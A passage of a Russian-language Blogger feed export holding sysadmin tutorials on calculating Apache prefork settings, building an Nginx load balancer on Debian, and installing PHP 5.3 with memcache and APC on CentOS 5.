&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMaxTreads=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;TotalMem/100*75/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Http1tread&quot; | bc)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;StartServers=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMaxTreads/5&quot; | bc)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MinSpareServers=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;StartServers&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxSpareServers=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MinSpareServers*2&quot; | bc)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;ServerLimit=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMaxTreads&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxClients=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;HttpMaxTreads&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxRequestsPerChild=&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;(echo &quot;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MaxClients*&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MinSpareServers&quot; | bc)&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;echo -e &quot;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;lt;IfModule prefork.c&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;StartServers&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;StartServers&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MinSpareServers&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MinSpareServers&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxSpareServers&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MaxSpareServers&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;ServerLimit&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;ServerLimit&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxClients&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MaxClients&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;MaxRequestsPerChild&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\$&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;MaxRequestsPerChild&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;&lt;b&gt;EOF&lt;/b&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Для системы с 8-ми&amp;nbsp;гигабайтами оперативной памяти, при условии что один трэд Apache употребляет&amp;nbsp;примерно&amp;nbsp;50Мб у меня получились следующие значения.&lt;br /&gt;
&lt;br /&gt;
Выполните скрипт.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;bash &lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/apache_prefork.sh&lt;/span&gt; 
&lt;/b&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;IfModule prefork&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;c&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
StartServers    &lt;span style=&quot;color: #c00000;&quot;&gt;23&lt;/span&gt;
MinSpareServers    &lt;span style=&quot;color: #c00000;&quot;&gt;23&lt;/span&gt;
MaxSpareServers    &lt;span style=&quot;color: #c00000;&quot;&gt;46&lt;/span&gt;
ServerLimit    &lt;span style=&quot;color: #c00000;&quot;&gt;116&lt;/span&gt;
MaxClients    &lt;span style=&quot;color: #c00000;&quot;&gt;116&lt;/span&gt;
MaxRequestsPerChild    &lt;span style=&quot;color: #c00000;&quot;&gt;2668&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/IfModule&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
То есть при пиковой нагрузке Apache не превысит следующего значения&amp;nbsp;&lt;u&gt;&lt;i&gt;50*116&lt;/i&gt;=&lt;b&gt;5800Мб&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Напоминаю что этот скрипт учитывает только Apache ноду. Если у вас на сервере стоят еще какие бы то ни было&amp;nbsp;сервисы, то вам&amp;nbsp;приедятся учесть их в формуле.&lt;br /&gt;
&lt;br /&gt;
Пример формулы для связки Apache+MySQL:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
((&quot;вся папять&quot;-&quot;память потребляемая для MySQL при средней нагрузке&quot;-&quot;25%&quot;)/(&quot;вся память использованная для всех процессов httpd&quot;/&quot;количество httpd процессов&quot;))&lt;/blockquote&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9b13d5af-a687-46a5-868a-1693a2a712c9&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8848971773066919731/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/apache-preforkc-lamp-centosrhel.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8848971773066919731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8848971773066919731'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/apache-preforkc-lamp-centosrhel.html' title='Рассчитываем параметры prefork.c для Apache в Linux'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-802128481311759342</id><published>2012-09-11T20:26:00.000+07:00</published><updated>2012-09-11T20:26:42.661+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Load Balancer"/><category scheme="http://www.blogger.com/atom/ns#" term="Nginx"/><category scheme="http://www.blogger.com/atom/ns#" term="Web server"/><title type='text'>Load Balancer на базе NGINX в Debian Squeeze</title><content type='html'>&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; margin-right: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Nginx-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;English: Nginx Logo Español: Logo de Nginx&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;65&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/a/a1/Nginx-logo.png/300px-Nginx-logo.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 300px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Рассмотрим построение простого дешевого &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Hypertext Transfer Protocol&quot;&gt;HTTP&lt;/a&gt; балансера на базе &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian&lt;/a&gt;+Nginx.&lt;br /&gt;
&lt;br /&gt;
Итак мы имеем&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.mysql.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;MySQL&quot;&gt;MySQL server&lt;/a&gt;&lt;/b&gt; - мы не будем рассматривать его конфигурацию, и предположим, что WEB ноды к нему обращаются и работают.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Web_server&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Web server&quot;&gt;WEB Server&lt;/a&gt; 1&lt;/b&gt; - host1.example.com(принимает запросы, общается с базой данных, отдает контент)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;WEB Server 2&lt;/b&gt; - host2.example.com(настроен идентично &quot;WEB Server 1&quot;)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HTTP balancer&lt;/b&gt; - &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.nginx.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Nginx&quot;&gt;NGINX&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
Схема выглядит примерно так:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://yuml.me/diagram/scruffy;/class///%20Cool%20Class%20Diagram,%20%5BHTTP%20balancer%5D%3C%3E-%3E%5BWEB%20Server%201%5D,%20%5BHTTP%20balancer%5D%3C%3E-%3E%5BWEB%20Server%202%5D,%20%5BWEB%20Server%202%5D%3C%3E-%3E%5BMySQL%20Database%5D,%20%5BWEB%20Server%201%5D%3C%3E-%3E%5BMySQL%20Database%5D.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://yuml.me/diagram/scruffy;/class///%20Cool%20Class%20Diagram,%20%5BHTTP%20balancer%5D%3C%3E-%3E%5BWEB%20Server%201%5D,%20%5BHTTP%20balancer%5D%3C%3E-%3E%5BWEB%20Server%202%5D,%20%5BWEB%20Server%202%5D%3C%3E-%3E%5BMySQL%20Database%5D,%20%5BWEB%20Server%201%5D%3C%3E-%3E%5BMySQL%20Database%5D.png&quot; width=&quot;232&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h4&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Пункт 1: Установка Nginx&lt;/h4&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;apt&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;get update
apt&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;get install nginx &lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;y
&lt;/b&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h4&gt;
Пункт 2: Настройка Nginx&lt;/h4&gt;
&lt;div&gt;
Думаю сейчас стоит обговорить обозначения:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;exampleproject&lt;/i&gt;&lt;/b&gt; - имя проекта(так будет называться наш upstream, в нем будут перечислены все WEB ноды)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;host1.example.com&lt;/i&gt;&lt;/b&gt; - web &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Server_%28computing%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Server (computing)&quot;&gt;server&lt;/a&gt;(web нода, их может быть перечислено сколь угодно)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;i&gt;example.com&lt;/i&gt;&lt;/b&gt; - имя домена&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Перед внесением изменений скопируем оригинальный файл конфигурации, после чего&amp;nbsp;создадим шаблон конфига.&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;cp &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;etc&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;nginx&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;sites&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;available&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;etc&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;nginx&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;sites&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;available&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;origin
&lt;/b&gt;
&lt;b&gt;cat &lt;span style=&quot;color: #806030;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;etc&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;nginx&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;sites&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;available&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #007d45;&quot;&gt;EOF&lt;/span&gt;
&lt;/b&gt;upstream &lt;b&gt;&lt;i&gt;exampleproject&lt;/i&gt;&lt;/b&gt; &lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;
server &lt;b&gt;&lt;i&gt;host1&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;com&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
server &lt;b&gt;&lt;i&gt;host2&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;example&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;com&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;

server &lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;

    &lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;listen&lt;/span&gt;   &lt;span style=&quot;color: #c00000;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;#&lt;/span&gt; &lt;span style=&quot;color: maroon; font-weight: bold;&quot;&gt;listen&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;for&lt;/span&gt; ipv4
    server_name  &lt;b&gt;&lt;i&gt;example&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;com&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

    access_log  &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;var&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #800040;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;nginx&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;&lt;b&gt;&lt;i&gt;example&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;com&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;access&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #800040;&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

    location &lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt; 
        proxy_pass http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;//&lt;b&gt;&lt;i&gt;exampleproject&lt;/i&gt;&lt;/b&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;   

    &lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;   
&lt;span style=&quot;color: #007d45;&quot;&gt;&lt;b&gt;EOF&lt;/b&gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
Теперь можете отредактировать&amp;nbsp;&lt;b&gt;/etc/nginx/sites-available/default &lt;/b&gt;, изменить имя домена, проекта, адреса и количество WEB нод.&lt;br /&gt;
&lt;br /&gt;
Теперь можно перезапустить Nginx.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;etc&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;init&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;d&lt;span style=&quot;color: #806030;&quot;&gt;/&lt;/span&gt;nginx restart
 Restarting nginx&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; nginx&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;font-family: Times, Times New Roman, serif;&quot;&gt;P.S. Upstream имеет кучу параметров. Серверам можно задавать вес, настраивать резервные сервера и прочее.&amp;nbsp;&lt;span style=&quot;text-align: justify;&quot;&gt;По умолчанию запросы распределяются по серверам циклически (в режиме round-robin) с учётом весов серверов.&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;text-align: justify;&quot;&gt;Если при попытке работы с сервером произошла ошибка, то запрос будет передан следующему серверу, и так до тех пор, пока не будут опробованы все работающие серверы. Если не удастся получить успешный ответ ни от одного из серверов, то клиенту будет возвращён результат работы с последним сервером.&amp;nbsp;&lt;/span&gt;Подробнее можно почитать &lt;a href=&quot;http://nginx.org/ru/docs/http/ngx_http_upstream_module.html&quot;&gt;Тут&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=2427a0a3-1ea6-4a2e-ac88-0297e54f332d&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/802128481311759342/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/load-balancer-nginx-debian-squeeze.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/802128481311759342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/802128481311759342'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2012/09/load-balancer-nginx-debian-squeeze.html' title='Load Balancer на базе NGINX в Debian Squeeze'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8428526326418500588</id><published>2012-09-11T14:19:00.001+07:00</published><updated>2012-09-11T14:24:56.924+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Memcached"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><title type='text'>PHP53u + memcache + apc в CentOS 5</title><content type='html'>Когда я попытался настроить &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.memcached.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Memcached&quot;&gt;memcache&lt;/a&gt; + APC в тестовой ветке &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.centos.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;CentOS&quot;&gt;CentOS&lt;/a&gt; 5, я очень удивился когда не нашел расширения&amp;nbsp;memcache для php53 в репозитарии.&lt;br /&gt;
&lt;br /&gt;
По этой пришлось использовать репозиторий IUS.&lt;br /&gt;
&lt;br /&gt;
Приступим:&lt;br /&gt;
Установим репозитории в систему.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;rpm -Uvh&lt;/b&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Hypertext Transfer Protocol&quot;&gt;http&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/ius-release-1.0-10.ius.el5.noarch.rpm&lt;/span&gt;
&lt;b&gt;rpm -Uvh&lt;/b&gt; http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/epel-release-5-4.noarch.rpm&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Сохраним названия установленных пакетов, удалим всё что связано с &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.php.net/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;PHP&quot;&gt;php&lt;/a&gt; и поставим тот же набор пакетов из нового репозитория.&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;b&gt;rpm -qa &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Grep&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Grep&quot;&gt;grep&lt;/a&gt; php &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; old_php&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;log
&lt;a class=&quot;zem_slink&quot; href=&quot;http://yum.baseurl.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Yellowdog Updater, Modified&quot;&gt;yum&lt;/a&gt; erase php&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt; -y
yum install $&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;cat old_php&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;log &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #bb7977;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Sed&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Sed&quot;&gt;sed&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #400000;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;php&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: 